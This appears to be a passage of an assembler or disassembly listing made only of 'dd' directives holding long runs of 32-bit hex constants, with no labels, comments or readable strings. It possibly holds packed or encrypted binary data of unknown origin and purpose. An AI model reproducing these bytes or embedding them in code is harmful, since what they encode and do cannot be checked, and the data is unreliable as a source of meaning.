0C68D0BEh, 30207A20h, 0D0F62495h dd 206D133Ch, 1901D967h, 0FB144F73h, 4E08BD55h, 0DF5FDCF0h dd 0FC77B524h, 0D3F7136Ah, 1329F7E0h, 0E253E843h, 43ADB48Bh dd 13E2E225h, 50C4385Dh, 0AA74FE56h, 0EAD0DFCEh, 0B1DD0BFh dd 527C29C8h, 0C96F8580h, 9AA0B386h, 1037557Ah, 57B40C4Ah dd 6AA1FABh, 486D6CE9h, 0E1F475Eh, 614BF845h, 1755F2FEh dd 0D9FAE307h, 0FAF30138h, 0CB750795h, 0EA4FFEE8h, 0F3813D40h dd 58F58610h, 0BD5E128Fh, 31BC5BF7h, 8D0A2D6Fh, 0E5ACDAh dd 5108E581h, 951C6E2Bh, 0EBE4D0F7h, 0FEAFFD02h, 2D015EF1h dd 0F85E14F5h, 0B40A4ADCh, 8C923B86h, 53AB595Eh, 7B4D1D73h dd 0D05D24E7h, 68CD8749h, 37BAD54Eh, 0FE4AC085h, 0B6093532h dd 0F5CD01B5h, 12058302h, 0A22E282Dh, 0A7D1A57Eh, 8424DC19h dd 254DB8D8h, 0B6E6094Eh, 98186220h, 3D9479C6h, 0DD92392Bh dd 2062C9A6h, 2806A726h, 0ABBD7756h, 0ADE9120Bh, 0D562FC57h dd 6CBB5ED3h, 8B4DB892h, 41D54FA4h, 0E25E3ABCh, 7EA5D25Ch dd 0C4F7E22Bh, 29C2CF89h, 0DB987721h, 0BD887366h, 0BF411225h dd 838CF839h, 0B011B362h, 4D56B8CDh, 1E1FE2D9h, 0C33D84Ch dd 7B2F5203h, 0FA24FD31h, 2B6DEA58h, 487A442Ah, 63A144Eh dd 47D63C61h, 6BAA010Ch, 0DF31058Dh, 3A41CE5Bh, 2EEA652Fh dd 15C6A5B9h, 76B71A47h, 0B16DD0FCh, 0C5585D80h, 0EA480F7Ah dd 49A3E130h, 0DC86A018h, 9FCB97C4h, 0C257B6E9h, 5FFC75h dd 2CF9045Ah, 2FF1E949h, 43CB6CF8h, 0B6F47D6h, 0BF2A20D2h dd 5F124F32h, 0F1B5855Eh, 2F706D1Dh, 0F79B43EAh, 59B9E56Eh dd 0F06A32CDh, 3441BE69h, 0F88F327Eh, 3EFDE0ABh, 0E7E9252Dh dd 0CEE06D0Fh, 4D83717Eh, 0AA0275B8h, 29909693h, 0D0BFC2F3h dd 0F53500D9h, 89A0221Fh, 95A02047h, 0C0807E1Eh, 51030FEAh dd 666C8B1h, 250758FCh, 3BF87E71h, 0A0330457h, 23E0D04Fh dd 2030F902h, 7B5F09ADh, 64574A6Bh, 0DEEA00B4h, 0E95ED04Bh dd 0F3972BB7h, 280342A0h, 55565802h, 7952387Eh, 0E95087C0h dd 0A4C6CB95h, 0CFCD925Bh, 0C47AE0E3h, 0C396BD11h, 0B978552Dh dd 4E305B7Bh, 0BB925B4Eh, 265F722Ch, 9C8D5B52h, 423A6E03h dd 2D04F208h, 1B2C96AFh, 120702BFh, 20010932h, 2096D443h dd 829F46CCh, 7F095B03h, 0C0B7D54Ch, 2FA3621Ch, 16F7B619h dd 774CB05h, 68E4EBF6h, 89AC8724h, 79794BD7h, 721D3704h dd 0A104F4C9h, 83812BEDh, 5B012DD1h, 0C8F1FA89h, 409FDCA7h dd 1A623BA0h, 0E9514805h, 0A2AEE06Eh, 67EE4E8Ch, 8040C9A7h dd 445C7668h, 0C194189Ah, 169AB932h, 0FF2CD223h, 0DE1F7D52h dd 60DE199h, 2CC07020h, 495CFA65h, 0DD17A9FFh, 3442F8B4h dd 26D6E91Fh, 99046F8Bh, 3AC3CD4Bh, 0ECE657FFh, 0EBC009B2h dd 0C90CF002h, 68969E06h, 425F6879h, 0AB4E72E3h, 0FDFF400Bh dd 0D0E34C20h, 38E37D30h, 0D83A005Ch, 4CBE561Eh, 9DE2415h dd 59452FC1h, 51A5E381h, 24602979h, 0B42C05DCh, 0B0F1E909h dd 649D5BC9h, 6F99342Fh, 174CF889h, 0C9BFDD21h, 904A2BD8h dd 732FF468h, 0E995039Ah, 300B775Bh, 2F396858h, 0A3AE6406h dd 5926A6F2h, 0EDED237h, 0FD03F77Ah, 5D5F482Eh, 0D2A837AAh dd 4C5FF6D7h, 12AEDFEBh, 0BBF0C0A2h, 233E6E61h, 5BD98B2Ch dd 49FBC055h, 5E21279Eh, 0F74BE4D4h, 0DAA8EC20h, 8972F57Ah dd 4D26129Bh, 0C9EC9238h, 5E7C14E7h, 29C99168h, 15CD40C2h dd 2310D53Ch, 82B4F201h, 0CADE898Ah, 0FED2F604h, 786D9682h dd 2230B7F6h, 27148ACBh, 7DE236A0h, 7B9F131Fh, 6780C901h dd 0C82736Bh, 2453FB0h, 0AC18AA81h, 483C71E4h, 0F18B0171h dd 128007E3h, 63350C3Eh, 0DABA8DE9h, 68DE0500h, 0C589E4EDh dd 0A3B80158h, 0E99618BBh, 0B9EE503Fh, 173D5AB6h, 7F782F1Fh dd 69DB6420h, 0CC31C26h, 949736EAh, 47ECED80h, 1A1D4C66h dd 2EF6262Dh, 0CB209554h, 9568C8BEh, 8E873659h, 5EB83343h dd 60E2C3C0h, 0F2BD6F6Ch, 0D2088240h, 61E9707Ch, 0C1FE34ADh dd 0CCFCC980h, 0C073FBE1h dd 16A3064Ch, 21F60A27h, 5A7BE654h, 98F3524Bh, 6E105E82h dd 0E00B6AA3h, 9304FE4Ah, 0BE0ED001h, 573D6461h, 4DA72608h dd 0F078D0A7h, 8D1E4F20h, 25BE2D29h, 0D15B0728h, 26D3747Bh dd 7903027Bh, 607D44B0h, 48FD2959h, 330F025Fh, 412B8C47h dd 1701947Ah, 29A59B56h, 0C62C59CDh, 27DEC7Ch, 680A956Eh dd 74716908h, 5E52B897h, 15311EAFh, 2907F044h, 0A230FE6Ch dd 5B05F081h, 0EE5384F6h, 2DF29310h, 61BB565Ch, 6A0B8668h dd 56663E30h, 4E2A98F8h, 0AAA213DBh, 0BE23BBDDh, 27B0E90Ah dd 46E8A5C9h, 1E0B1612h, 16FB893Eh, 0FFFF805Ah, 0BE759D33h dd 0F63E5539h, 0A66CAB2Eh, 0A9705DE9h, 0C2023459h, 16497101h dd 790B41h, 0BE06852h, 5A31B02Bh, 0E7CC4681h, 60D8D248h dd 87FBA06h, 0F240CD03h, 259D0058h, 0E955DA01h, 59B56E0Fh dd 8C68E17Fh, 0D280785Eh, 0E29369ADh, 4D2BC740h, 34B2DF0Bh dd 25965A75h, 1A4441A7h, 582601E4h, 0A242FC59h, 5E62CC56h dd 58B9C2CFh, 8C48657Dh, 682CC0FCh, 0C95FD725h, 0B738382Bh dd 107BE2D3h, 0B84EEB74h, 8D618C08h, 53460BBEh, 92FF4EF5h dd 0F4F184D8h, 0C1668213h, 5CC50275h, 696E57E4h, 7F3AE297h dd 144F8C6Ch, 0B8BF8EC4h, 7B3DB7BBh, 956F9761h, 43D2EBC1h dd 7C5E8B5Fh, 27ECA7DBh, 8C90595Eh, 275BEEE7h, 0E58B2010h dd 0BA8B40FDh, 7BEF072Fh, 0C2D131E3h, 4CC9869Ah, 0FFAC3BF9h dd 65B3C498h, 0F7227009h, 5D606DDh, 0F9034F06h, 31A3046Bh dd 7A400C9Ch, 0C5835D69h, 0B01E0160h, 80234F62h, 404C2A55h dd 4CED07BCh, 0E921597Fh, 8A3FE49Bh, 80B52FA0h, 2FF82D10h dd 0A8164EA7h, 7F8D2D22h, 94980298h, 1E905F81h, 0A3975BBAh dd 49B051F4h, 0F821255Dh, 6841BB53h, 7B8E1FC3h, 0FA1752BFh dd 1B82298h, 34533CE0h, 0AFDB2D48h, 0D337090Dh, 0EF880621h dd 9EA00C8Bh, 0E4A4E030h, 67297109h, 42128026h, 32E595BDh dd 0DFBCF801h, 0EEA348FDh, 0D5F01309h, 0C2C0AFB2h, 9055DE8h dd 326C7247h, 78081D0h, 734C71E9h, 0BFA69276h, 0B6880713h dd 4BCB1312h, 0EF802930h, 9E5EF62Dh, 0BD4C2FACh, 0D2478B62h dd 3D68DB35h, 0FF8A3617h, 563FF0CAh, 0C4C4819h, 0CCD63051h dd 26817B49h, 5B00BCF0h, 813B6B74h, 77BE05F2h, 0AA053171h dd 0D017EE0h, 4076E9D0h, 0B3F17A5Eh, 0CEC8FC01h, 0E4003479h dd 814C6526h, 7B1D3AF3h, 0E39F4EB9h, 28A56685h, 503CCBBCh dd 49DBA50h, 0F772FA5Dh, 0CBE9C2DFh, 681FEA08h, 84980B15h dd 51BCF2D9h, 0C9776887h, 812081E6h, 0F585883h, 91B85D17h dd 3006E2C2h, 1C12B3ABh, 18000F1Ah, 70D06D16h, 11723D35h dd 0E8D1250Eh, 173D3B61h, 0BFB16A38h, 2D08D0CFh, 0E52300E6h dd 0B889354Bh, 31163754h, 7F058C2h, 848F4AE9h, 1DB8EFF3h dd 54840CDFh, 0FD90CF19h, 0AE41F04Eh, 110C685Dh, 0CB44A62Eh dd 0B7E58388h, 6C4569E4h, 0E224F9D5h, 3EEC0965h, 6859ABB6h dd 3A511BF5h, 9450F9E9h, 12F4E281h, 0AB472E45h, 0F8D6981Ch dd 509172ABh, 76E8E654h, 9AFB5613h, 3F8A6AAFh, 0CDE3140Ch dd 6C60956Ch, 3EF3C51Dh, 2EF669AAh, 0FBC572F8h, 6818216Eh dd 0F8F16550h, 5C976C05h, 210FA715h, 66011741h, 47C43EFDh dd 420CBB80h, 0BD8C9DE6h, 0E6C01A3Ah, 647C49EDh, 400CCA53h dd 0C7E18A7h, 190B692Eh, 88FD0141h, 752F08D4h, 1909919Ah dd 0A7A02758h, 29051BD3h, 76C7E933h, 4BEF5590h, 8B20F93Ah dd 6140BEEh, 1CFEE452h, 13F23408h, 0C96DB05Ah, 71C18005h dd 0DDFACC28h, 12BB2B83h, 0DBCAEBB5h, 27D9542Dh, 96302C2h dd 6AE76877h, 0D432526h, 0DE6018F7h, 2DA9587h, 97772209h dd 4E5A5D86h, 882A301Fh, 0BD2260EEh, 0B0E3D12Ch, 0F74B0603h dd 0BF4E06D3h, 3223AB40h, 0D9198306h, 9F18E974h, 7BC6022Ch dd 577E479Ah, 80F48E4Fh, 0C5809F2h, 0CFD1735h, 0B54124Ch dd 4A4C2567h, 0F90217F4h, 0C27D1605h, 54C18291h, 7B7F0958h dd 1A2E08B8h, 946C42D0h, 27A2AAA1h, 0B2773D38h, 0B0AFC37h dd 8E5E02E2h, 0C2085B04h, 0AAEAD004h, 3581E2C7h, 1D7CCDE9h dd 14CA6470h, 0BF3CFAF7h, 0A3584DE9h, 1E7B3050h, 0D3AC3834h dd 5B0982BCh, 71D0B8C0h, 74582C2Dh, 0E310F15h, 760C538Ch dd 0DFC9ED13h, 87E145D0h, 54CF2E44h, 0F8571517h, 563CD117h dd 4FABEDB0h, 45FC7B0h, 4D108F09h, 0F2C904F7h, 0B460E8AEh dd 3D04D8FFh, 9F7E69h, 4954C704h, 0FCC5FE07h, 7074B2AAh dd 97F1735Ah, 6886C571h, 3895361Ch, 0AB4F3943h, 0B7598128h dd 2E62EFD1h, 30B611D8h, 58453061h, 0E5C8E87Ah, 90C013AEh dd 3207F279h, 21BF0916h, 3B57CB8h, 0D9615251h, 2AC4C7E5h dd 3EF05ACh, 9497004Fh, 0E93C6F15h, 79C4FC4Fh, 873409ABh dd 0BB01F5D8h, 3BF130FBh, 8BF1F329h, 0AC31126Eh, 8181A4E2h dd 99812ADFh, 0A20512E3h, 0D0EBD97Ah, 0CE2548B5h, 0B82DF889h dd 58AA9E26h, 43DD7EAEh, 80968A99h, 0BFDB70ECh, 0E45A8376h dd 3BC92C98h, 0F1B667A1h, 0CC5CCE80h, 0CD3E2F6h, 0E9A4F0AEh dd 4185755Bh, 0E4F2E381h, 49F0C304h, 8172DBF8h, 98E1CB3Ch dd 0AFC03A5Dh, 1AC4307Bh, 0D7312918h, 33E92212h, 8B0635F1h dd 0B054957Dh, 67156804h, 4A4F8FEFh, 0BC7E0BCDh, 8A62BDFDh dd 2D68971Ch, 94F394D7h, 52888B0Eh, 2FAD40D3h, 6B69E412h dd 15A36CFAh, 0B4B26845h, 8903A6DCh, 1AB9E9E0h, 618A2988h dd 0A1127524h, 1EE7B2ABh, 0F89203B7h, 50588B43h, 0C53FC151h dd 0E1C8C92Ah, 4B5E7CB5h, 0F92A23B1h, 7AF612FDh, 7FFBEC47h dd 89795F09h, 0A768C2CBh, 99520A52h, 68D6804Dh, 9E0B4033h dd 70F385E1h, 49708574h, 89D5293Fh, 8E9577EDh, 25BF6CADh dd 0F04E97A6h, 3E4BD67Ch, 3AB51181h, 73EEC3Fh, 59EA30B4h dd 88ABF261h, 6882CE23h, 3FA00B6Ch, 0E6C037B6h, 0EE800209h dd 3C7EF976h, 2D17FE50h, 0E0C177E9h, 40902E21h, 60F83B5Dh dd 0AC390C10h, 76BF2B98h, 0FBC8CC89h, 304B18F8h, 80384A5h dd 0A41E0B5Bh, 8D75C950h, 8061E72h, 34283E0Ch, 32FF370Bh dd 6529C9C5h, 0C7D74525h, 4C90393Ah, 6E3D6777h, 62289702h dd 6847EE9h, 2FD55059h, 62BC7952h, 0EA0D6D48h, 6A2EAF3Ah dd 91393C50h, 15AF06F8h, 0EB065E25h, 3FE80490h, 396E09B6h dd 0F8025174h, 397422D8h, 5C9DCD09h, 0E0C16023h, 50035202h dd 3C6C5868h, 0BFEA421h, 23004A62h, 5EA75DDFh, 81140960h dd 1D5939E2h, 8BD179A8h, 4CE00BE9h, 0C01D5C04h, 0C24908E0h dd 0B0C8DD88h, 32BE3170h, 6BC3550h, 2BE97249h, 5397943Eh dd 5574EB94h, 7C565289h, 6CC3C053h, 81FC7FBBh, 44E2CD05h dd 8F1241AAh, 0F8EFC5D4h, 0EEC0B42Bh, 5CC555EBh, 6E137161h dd 0D672B9A0h, 0C8A73A09h, 2D6254B1h, 385415EEh, 0BAD308h dd 0E130A2B4h, 0CA048858h, 8EAC059h, 0C846FDC2h, 3A9AB98Eh dd 0BD935572h, 0F91A8CEh, 0D31EC5F5h, 99C5C1FEh, 5DB87EA2h dd 77B6BBD3h, 0B915FE18h, 4C124DEEh, 0A5FFB8E5h, 5CF960D6h dd 0E85CA94Eh, 0EB2F1F19h, 6B3CEC6Ah, 4840570Ch, 0F7BA82E9h dd 37573505h, 85AB7E12h, 136DA9EEh, 98C27408h, 0EB785DEBh dd 425EE925h, 2857DE3Ah, 90B38483h, 0BDFFB882h, 5F89E276h dd 2FC35938h, 530626F7h, 66570719h, 45157EBFh, 0C78C034Fh dd 86DD09F5h, 0EF1F10F6h, 31C68018h, 3E085FFAh, 0BCCB5AD6h dd 0EE0867E5h, 9134FC4Ch dd 3DDE03CCh, 4E2C0BBAh, 3F02FD10h, 7B339E9h, 0C902B483h dd 2CDDE3h, 165B105h, 0D2D19E4h, 2A8022C4h, 0E9E042BFh dd 987F641Ah, 276FCD64h, 527E6775h, 9D1C6C58h, 0BA81E1D3h dd 29D36164h, 9672F83Ah, 59C661ACh, 0F7243681h, 27024EDDh dd 70E60CCCh, 8B009148h, 304A6A05h, 552462DDh, 9F8BE9F1h dd 356C7D93h, 6485BE5Fh, 969F84A2h, 615BE59Ch, 624F4342h dd 327FB9D9h, 54581682h, 0BED44216h, 751C081Ah, 861C41ABh dd 0F90CD24Bh, 3CC33887h, 0C65056E4h, 419041A3h, 69DAC2BCh dd 0DBBD0262h, 5D3198B5h, 7AA7FEE9h, 0EA031D25h, 8D286A17h dd 0BBFA17AFh, 0D55C7492h, 0E916EA3Ch, 0D1FA5A07h, 0A04B53B7h dd 0EF0BE8F7h, 0F865B647h, 770782A3h, 4BB0218Ah, 325A52DEh dd 0BC9A7533h, 7CA08BDFh, 0D7182DA1h, 862F79BBh, 0B705F83Eh dd 0A4C58B79h, 2EA8A57h, 4AE56C45h, 5EF420DDh, 0D6F88921h dd 0FD78083Bh, 3283680Fh, 0C8554433h, 25A30A8Dh, 0BE785D4Ch dd 73D7BEC1h, 0C82EFECDh, 0B74AE957h, 0EE3012F4h, 9D364B84h dd 0D4F86E6Ch, 242DA84h, 7654575Ch, 5D5A881Fh, 69BE5601h dd 0FFCE0A0Ch, 0FC4C1441h, 0F20B816Ah, 75573219h, 25ADBD00h dd 42600C38h, 0EC02440Eh, 2926C148h, 85318F57h, 281F4D0Ch dd 0AA2612BFh, 5E8CF467h, 4D3FE69Eh, 0BB5F0CD9h, 68511B45h dd 0EE8EA831h, 1C09256Dh, 83D80B56h, 4E0924E8h, 2BC7E913h dd 23A27DBFh, 4D741F31h, 2B0AC581h, 409C2C09h, 622C9CCh dd 0F3C9C000h, 310450C7h, 5879E9EFh, 387B5CA7h, 0FF4E7ACBh dd 717A84D9h, 6E230105h, 0C0F91BD2h, 4F4F35BEh, 7111C7C4h dd 42505FAh, 0D278AB82h, 0C3EFA0C5h, 0F8478139h, 1CC23A4Dh dd 0D512C780h, 0CF209D58h, 3038148Fh, 0F845E1F8h, 0EFA9C56Ah dd 2C2512C0h, 70A2FCD7h, 5574B527h, 64E2E970h, 0C8D20A3Ah dd 35416CF3h, 0EBC66340h, 26A22C28h, 37F00454h, 11E58110h dd 0EC2B596Ah, 0FB957391h, 0A853970Dh, 2C8F05CEh, 11B47FB0h dd 414336F2h, 0B1981228h, 5882B5FAh, 0CAA9895h, 73A35ADDh dd 0F928180Ch, 0E83EBC54h, 7570A5E9h, 0AD80174Ch, 0A27342Fh dd 91645D75h, 547BE915h, 0F94E3BFFh, 859DCC5Eh, 2423B66Bh dd 341019F7h, 963875Bh, 16B01F50h, 7697C8FAh, 0E2299408h dd 0F7876827h, 9BDCD3ADh, 475A1A25h, 645FA554h, 6161EAF3h dd 20683C65h, 0F372A01h, 0BAD2612Bh, 326E3DE0h, 0C2AA5707h dd 291ABA87h, 0EF02B450h, 0F6D3A4C7h, 0D8536309h, 60CDE9DAh dd 0E2EEE95Bh, 38B0B14Bh, 9491C05Fh, 0DC895FFEh, 96753646h dd 0BA75FAE3h, 0A558508Ah, 790B9802h, 0CA6BF5D3h, 16A04A11h dd 10DE52B7h, 0EA28F505h, 0C2A1116Dh, 78ACB801h, 6F097BE0h dd 5185045h, 4E900CC5h, 955F2E1Ah, 880CF72h, 2F63BFE9h dd 94555042h, 0D57087C0h, 4FC4C443h, 0CEEA17E6h, 6D6812C5h dd 0AD6A76A1h, 0EAA6F5D8h, 96F55925h, 6AD09D3Bh, 85CC665Fh dd 3F2641ACh, 3D825987h, 4EAD6BCDh, 0AFFE239h, 0F6619D68h dd 446035C2h, 2CED2E4Bh, 9C542F5Ch, 0BE75E947h, 0C3297A3h dd 84259C6h, 3B18D960h, 6800FF97h, 0C255CCE6h, 8EC0D79h dd 760318C9h, 2F7838BAh, 0B14C0118h, 7E4F687Bh, 0C9530823h dd 0B4713899h, 9D38462Ah, 0F1BD2205h, 9A5AAD4Dh, 0A8AC0FD6h dd 0B671AD9Fh, 8247BA2Ch, 0F0310ED8h, 9284C64Bh, 0E5550F48h dd 0A6E95627h, 0FF3F9B06h, 24090C7Dh, 1D990Ah, 0B155E773h dd 0FB89043Ah, 0BEFA70E9h, 29B1E7A8h, 0BA67ACDh, 5420E91Bh dd 0B68E92DCh, 5725AB5Ch, 0E909A66Dh, 42274038h, 9D70BDD1h dd 97115649h, 62E1D4D8h, 53D07F6Bh, 816E3461h, 0E87AF5D3h dd 0BDEDFEDDh, 99F0B457h, 4B101A2Ah, 0E1AFBC5Eh, 3000F528h dd 807758C5h, 0E81FB84Eh, 0BD06EC18h, 0FB35853h, 1F24ED1Ch dd 59C59DDDh, 0C1A9125Bh, 8F217BEEh, 6603A2FAh, 64E128BAh dd 0DBA63030h, 5812EA96h, 820DA2BAh, 50D5E95Eh, 0ACB50E38h dd 0EB0B7DB3h, 0EA406B84h, 0C180E364h, 50446230h, 1654A53Bh dd 6EEE50h, 7A553AB4h, 652DE94Fh, 20E9DAE5h, 50B73236h dd 7B043928h, 0A7663C1Dh, 389499FFh, 0CD4B2C38h, 0D6A42F8Ah dd 17B419A3h, 618972BAh, 9052C1DEh, 2913C034h, 0EB3312F1h dd 556A6721h, 0A52CDC25h, 1780957Bh, 0E42CFDB9h, 5FAA094Bh dd 0AE16CB4Ch, 0DD9BBA75h, 9808DC65h, 1242C78h, 417E7C75h dd 62BD7C29h, 740A2C64h, 54516221h, 0ABC2A289h, 0D4F6DDABh dd 3860582Dh, 6EA5BCB1h, 0C11FECD0h, 853907EFh, 0EDC892F6h dd 0A08249BEh, 7EBF6D58h, 0ED4B7868h, 43F3C1C7h, 8CAE5274h dd 8F957094h, 76B66028h, 4C0DEF6h, 0D76807E6h, 0A930AB4Ch dd 48EC801Bh, 0C9166E1Ch, 87BCD23Ah, 0CEDCE041h, 817891C4h dd 0CB463B09h, 1FDDF068h, 7E08E136h, 87EE4F7Dh, 3137632Dh dd 0DBFB0A4Ah, 30AF5EF5h, 37FBE968h, 0B1AF36D3h, 61A22B33h dd 0C104D1E4h, 906460E1h, 0C382D0BAh, 4E15BEF5h, 0C835BB3Ch dd 0BF1C44FEh, 0F945EA32h, 0CBFB5ECCh, 0F5A7DE1h, 0FC581D09h dd 174300FFh, 5BD92112h, 0B3083D9Eh, 0DEA63BABh, 0D570129h dd 2B0135F2h, 5E0967BCh, 3E89B72Dh, 81F3CD6h, 84FD9EC0h dd 73C731A5h, 0E5FEE58h, 360AEA81h, 59F638A9h, 1344E708h dd 0FD71FB31h, 59026A09h, 0BB16A2DFh, 44EE5F79h, 688652C2h dd 0FB92F533h, 0F35F0805h, 8FE90B5Ch, 0C24ED405h, 2B5C6278h dd 0A3DF562h, 76EA000Ah, 0F02D1A31h, 0F5AF4F25h, 12075008h dd 0C93DF959h, 64E7765Bh, 0B76D8357h, 0D9EB5104h, 85F17C1Fh dd 803E986Bh, 31AB775Eh, 2FFBD4h, 323DA22Dh, 5601D40h dd 25810788h, 0C2A633F4h, 14525F0Ch, 4A012D3Ch, 9D0205F6h dd 5F1B2B3Eh, 6B0A1DD0h, 9164F81Eh, 0A682503h, 0EF0C017Ch dd 0E97E6533h, 0C6A1FEF3h, 24555BDDh, 4F25707Bh, 0E91FE173h dd 3AAF0744h, 315C0960h, 0A55959CDh, 0E9613AF6h, 0EC92B25Fh dd 2E2E0B57h, 0D79D4770h, 0CDD5EA29h, 4B0116E9h, 0ECD405D9h dd 901759A4h, 885038BEh, 0EB27C572h, 9E85B059h, 32D6D8h dd 0F0771A2Ah, 0D1945B7Ch, 0E2100126h, 6281AE4Bh, 456B75CAh dd 74B61058h, 0DB53AA36h, 6A80DE64h, 918321Fh, 0D2F75A46h dd 45134278h, 26AA3B7Eh, 751C1627h, 62674734h, 0C60D5F8h dd 0C513B0BCh, 0AFE4FEE9h, 4157EE56h, 0D2980133h, 105B6295h dd 0E148887Dh, 17177811h, 0C70003E2h, 7CF927E6h, 0E05984Eh dd 0ABA05A9h, 199B02DFh, 0F700680Eh, 1D264660h, 455BDE31h dd 0FFF303E9h, 0BD37846h, 769280F1h, 1350B27Bh, 0E8041D5Fh dd 0F7523DA8h, 97F114Ch, 2993E9CEh, 0F0D66Bh, 0FA381605h dd 0C5042D6Eh, 5928A407h, 91DDFEBh, 560DD068h, 0EB15E5E2h dd 9BEF2340h, 0BDF8EDBDh, 5370410Bh, 0D6287327h, 0F7D45031h dd 2DE7C697h, 0C266058Dh, 0E62B7450h, 5682DEA3h, 99CE7EC0h dd 45CC5126h, 0E62B9880h, 0A92AE912h, 0C8481C7h, 87E43543h dd 0FAD0D47Eh, 7CE81E56h, 0EF6F6885h, 0CA1748F3h, 8105A84Eh dd 16A95F47h, 0AD06728h, 435D0F6Bh, 0F40F048Fh, 0AE44DF19h dd 0E9C299ECh, 0A7770951h, 127818E6h, 0DD9E1C83h, 0F24F1C1h dd 0D3C13D7Dh, 626192B1h, 0BA54C160h, 80D30B83h, 0EDD1DFC3h dd 5C5A63h, 5867BB26h, 0CB815EBDh, 0FB6B1304h, 4BC0431Bh dd 90227049h, 5B4226BBh, 0D54AC5BEh, 0A68FBEBBh, 409ABD00h dd 684D237Ah, 768C204Ah dd 167BA455h, 8C5C7AE9h, 709BD4Dh, 7576DC08h, 0D91235D8h dd 0F1AB3AE9h, 86C52938h, 95D32E01h, 520F70F4h, 652B8155h dd 0F02E56F8h, 243ED7FEh, 1FE4CA9Eh, 4FBB0CF2h, 0B8707DE2h dd 29C71E02h, 4AE1F8E9h, 0A95AFDCCh, 0FEF17B20h, 0BD2D5206h dd 137DE891h, 0FB61E94Dh, 0A0037C9h, 0E114B768h, 0E40EF86Eh dd 76A6F012h, 0FD198D42h, 7B0570EFh, 4DE90CE5h, 133A3675h dd 0E253AE58h, 1931B80Bh, 8582506Eh, 41A34EDBh, 7204DFCh dd 25F46597h, 0E3092DF8h, 0DF43AC22h, 0E97781FAh, 8524914Ch dd 0D9AD1E70h, 8F368B0h, 0D24075AAh, 42261748h, 6425740Fh dd 0A7609DBh, 0F773D16h, 0A9C8C43Dh, 0BEE8EEBh, 312A6568h dd 2A34C1C1h, 5FA6EC50h, 0C2F496D2h, 18BF0CC0h, 914B3625h dd 0D001694Ch, 307D265Ah, 2D0BD0E3h, 85447B48h, 17E10959h dd 9C88E6Ah, 0EA389AE9h, 5FF05F81h, 5482FC95h, 340CE912h dd 4A89BFF4h, 9F4DE8E0h, 1C2BDC8Dh, 0D6D1FD1Ch, 7E40F517h dd 0C4376BADh, 5155A91Bh, 17B91AACh, 44F50062h, 0F9EEC073h dd 56EA752h, 58AD0B01h, 4754E991h, 53311625h, 599CA4F2h dd 0F62FAD99h, 2A0E0114h, 0BA683C3Dh, 5F44CF2h, 5466675Eh dd 0D08BBE31h, 3D045A4Ch, 0FA686203h, 4F46B08Ch, 177EB8A8h dd 0A8E12BE9h, 69A99230h, 5B773841h, 48D527ACh, 4DCC683Dh dd 0F684467Fh, 0CA810072h, 0E7EA3576h, 9978EDECh, 1509351h dd 0D258CE0Ah, 0BCED002Bh, 29E63010h, 6EDDEA0Ch, 3D9E3698h dd 0DCD3EF0Bh, 0E02DE7BDh, 152CC10h, 318BF050h, 58C0673Dh dd 358F073Ah, 0F6636285h, 324CB3E9h, 0D7A25E29h, 27DDD3F5h dd 97681AB8h, 0E2374A4Fh, 2DD656E9h, 880F4BDBh, 0DA77C4EEh dd 0CBDE1AE9h, 0EFE6B00Ah, 5F9F95F2h, 0A0E0A718h, 0EF0090BAh dd 0DC78106h, 0BF71B786h, 0C2BF0058h, 5C9D251Eh, 430DB4EFh dd 0A6A80C4Fh, 0CBFAFCC5h, 7D646BA6h, 0E9271D96h, 0DE7B09CDh dd 0DB57D2F7h, 0B5712BFh, 0A86A196Bh, 53B2A702h, 38F5B081h dd 2640C67Fh, 630973E4h, 0C3D6F724h, 3C0A507Ch, 25C8E4A1h dd 0BFDC2126h, 2EEDC201h, 0CBFF3E37h, 0EFBB1DAh, 9222407Fh dd 2141E48Dh, 0E9F9D761h, 0BC3A4437h, 0E4C4C92Fh, 0F88A2223h dd 65E7CD05h, 36801819h, 0C042106Bh, 951DF0B7h, 0E9F831ADh dd 6A1A6C25h, 93F875D3h, 5F2089B0h, 20502C9h, 686A4859h dd 0A1FE1E52h, 6541899Fh, 19143F43h, 83390E5Fh, 0F021E893h dd 6D9E4C49h, 0C5125F1Fh, 27896CAEh, 0C7456760h, 25D26319h dd 78D62902h, 71910820h, 5768FD61h, 565E67Fh, 470E7946h dd 417568E9h, 0F68A3BC1h, 3D75BA17h, 2F9EF920h, 0A2B14556h dd 9FF170CAh, 3E0912E7h, 0E2F177BAh, 14D9CB6Fh, 0F3801CD7h dd 0F7CBC735h, 11DC39FEh, 3180B358h, 7606EEEBh, 0FFF13B28h dd 0BE0650D7h, 0B8C8A894h, 24B7F9Ch, 3337357Ch, 0BE617291h dd 0C5918929h, 0E049F758h, 3773756Fh, 502D7CFEh, 25BCE6DFh dd 7BDC643Eh, 0CFE17E72h, 0D0CDF296h, 0A0731089h, 13D0DE7Ch dd 0CB6651C3h, 0BB485530h, 1D646A04h, 5C814DA7h, 72CD3D45h dd 20D27480h, 34E95A73h, 57A39A4Ah, 902C092h, 0F58F70Bh dd 620975F6h, 7F5B251Ah, 0BB1059h, 8604CFDDh, 945752E9h dd 0A52862DCh, 11B0D394h, 0AE3BB303h, 0E407E945h, 4F7BA4F7h dd 5B9809BCh, 0D044E1DDh, 50C91F72h, 0B900B064h, 447312D2h dd 0DA7F181h, 0C129401Ch, 0E39FE762h, 407A0836h, 30183709h dd 39E0F42Ah, 0E168C284h, 0EF30FE55h, 0FC95448Eh, 7AF02AE9h dd 0F3BEB2B9h, 0E37F82D1h, 87462D01h, 32B566F6h, 7CBCA5C2h dd 22804B2Ah, 29804F01h, 0AE8D44F9h, 68E07DACh, 0B8990728h dd 0E937E8A0h, 0B2135A60h, 4D10B982h, 0D8280E80h, 0B7534904h dd 0EF808B01h, 0C0C7FE8Fh, 0ABE307D5h, 14CFD9FCh, 17450DA4h dd 2BC9EEF5h, 13914FD0h, 0EA740150h, 0C100634h, 52505A08h dd 1C110508h, 63243839h, 0F83734BBh, 0F5532F0Dh, 0A2805229h dd 24421EFBh, 0C0AE7995h, 114E630Bh, 0AC205883h, 0F199F44Bh dd 3B1D8802h, 61CD012Fh, 0A073768Ch, 0F5755B78h, 0A6847EACh dd 1FBB4620h, 0BA60B21h, 0F36009E9h, 9B24D6B8h, 7809A83Fh dd 22AE9CFh, 50AF876Eh, 3F052E9Eh, 4909CC96h, 7D448152h dd 0B46A6FF9h, 304B706Dh, 0DD3D8EA3h, 0BB735C12h, 276830F4h dd 10461047h, 0D45ACD2Fh, 296678CAh, 2D12D073h, 772D638Ah dd 68FC57F5h, 0B928760Dh, 0B802975Eh, 36DD05BCh, 0C693E7E9h dd 1EC2B1ADh, 24C1CB2Eh, 0D302C25Ah, 